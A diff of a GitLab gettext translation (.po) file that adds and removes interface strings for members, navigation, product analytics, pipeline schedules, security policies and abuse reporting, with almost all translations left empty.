msgid "Last Used"
msgstr ""
@@ -24424,6 +24679,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24493,9 +24751,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25255,6 +25510,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25270,9 +25528,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25372,6 +25627,9 @@ msgstr "OznaÄi da je ovaj zadatak vezan za neki drugi zadatak"
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25441,9 +25699,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25456,9 +25711,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25798,6 +26050,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25837,6 +26092,9 @@ msgstr[2] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25846,6 +26104,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25867,10 +26140,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25879,9 +26152,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25909,6 +26188,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25936,6 +26218,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26221,10 +26509,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26284,6 +26575,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26713,6 +27007,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27109,6 +27409,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27133,6 +27436,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27142,6 +27448,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27166,24 +27475,36 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27277,6 +27598,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27406,9 +27748,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27724,9 +28063,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27904,6 +28240,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28444,13 +28795,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28501,6 +28846,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28930,6 +29287,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29095,6 +29455,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29521,12 +29884,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29686,9 +30043,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29833,12 +30187,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30370,7 +30718,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30385,6 +30733,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30397,6 +30748,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30424,6 +30778,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30442,6 +30802,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31396,9 +31759,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31456,6 +31816,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31483,7 +31846,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31498,9 +31864,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31612,6 +31975,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31624,27 +31990,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32299,6 +32866,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32518,6 +33097,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32593,9 +33175,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32767,9 +33346,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32920,10 +33496,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33055,6 +33631,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33679,6 +34258,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33691,6 +34288,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33727,6 +34327,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34459,6 +35062,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34726,9 +35332,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34786,9 +35389,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34825,6 +35425,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35785,7 +36412,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36160,7 +36787,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36367,6 +36994,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36391,9 +37024,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36409,6 +37039,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36418,12 +37051,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36616,9 +37273,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36997,6 +37651,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37018,6 +37681,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37297,7 +37963,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37360,10 +38026,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37378,6 +38044,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37447,9 +38116,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37669,9 +38335,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37699,6 +38362,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37729,9 +38395,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37750,9 +38413,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38533,6 +39193,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38749,9 +39412,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
